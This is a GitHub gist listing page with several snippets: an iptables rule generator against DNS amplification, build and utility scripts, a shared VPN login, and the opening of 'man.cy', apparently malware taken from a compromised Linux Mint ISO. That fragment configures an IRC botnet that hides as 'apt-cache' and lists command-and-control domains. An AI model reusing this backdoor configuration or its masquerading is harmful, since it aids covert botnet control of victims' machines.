Skip to content

Instantly share code, notes, and snippets.

View ghostbar's full-sized avatar

Jose-Luis Rivas ghostbar

View GitHub Profile
@guerrerocarlos
guerrerocarlos / generate-netfilter-u32-dns-rule.py
Created March 4, 2013 02:40
DNS Amplification DDOS ". ANY" attack can be stopped by using this iptable: iptables -A INPUT -p udp --dport 53 -m u32 --u32 $(python generate-netfilter-u32-dns-rule.py --qname . --qtype ANY) -j DROP
#!/usr/bin/python
"""
Produces a Linux Netfilter u32 rule to match DNS requests for a given
domain name and/or a given query type.
Typical usage:
% python generate-netfilter-u32-rule.py --qname ripe.net --qtype ANY
Can be embedded in iptables' invocations for instance:
rule=$(python generate-rule.py args...)
@adammw
adammw / buildnode.sh
Last active March 5, 2016 16:44
Node.js for Raspberry Pi Packaging Script
#!/bin/sh
## Node.js for Raspberry Pi Packaging Script
## =========================================
## Execute this script from within node.js git repo
## Use like this:
## ~/node/$ VERSION=v0.10.0 ./buildnode.sh
if [ -z $VERSION ]; then
echo "set the VERSION first"
exit 1
// ==UserScript==
// @name CoffeeTest
// @namespace test
// @version 0.1
// @grant none
// @require http://jashkenas.github.io/coffee-script/extras/coffee-script.js
// @match http://example.iana.org/
// ==/UserScript==
/*
@mikeal
mikeal / gist:5986692
Created July 12, 2013 18:31
List all browserified files sorted by size.
ls -lrt $(node node_modules/.bin/browserify --list app/app.js) | awk '{print $5 " " $9}' | sort -n
@ciscoinc
ciscoinc / gist:9025507
Last active August 29, 2015 13:56
Servidores de VPN totalmente gratuitos para que los Venezolanos salten el Bloqueo
Agregaré mas servidores a medida que sea necesario para porder satisfacer la demanda:
1. Servidor: 162.243.211.57 Username: cisco Password: cisco123 tipo: PPTP
Puedes ver los videos de como configurar la VPN en los siguientes enlaces:
Windows Vista/7/8: http://www.youtube.com/watch?v=cVdPsP9G4ao
iOS (iPhone/iPad/iPod): http://www.youtube.com/watch?v=LlvLdLY3Rng
Mac OS X 10.5 y superiores: http://www.youtube.com/watch?v=M497cwSARes
@kurobeats
kurobeats / man.cy
Created February 21, 2016 09:00
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",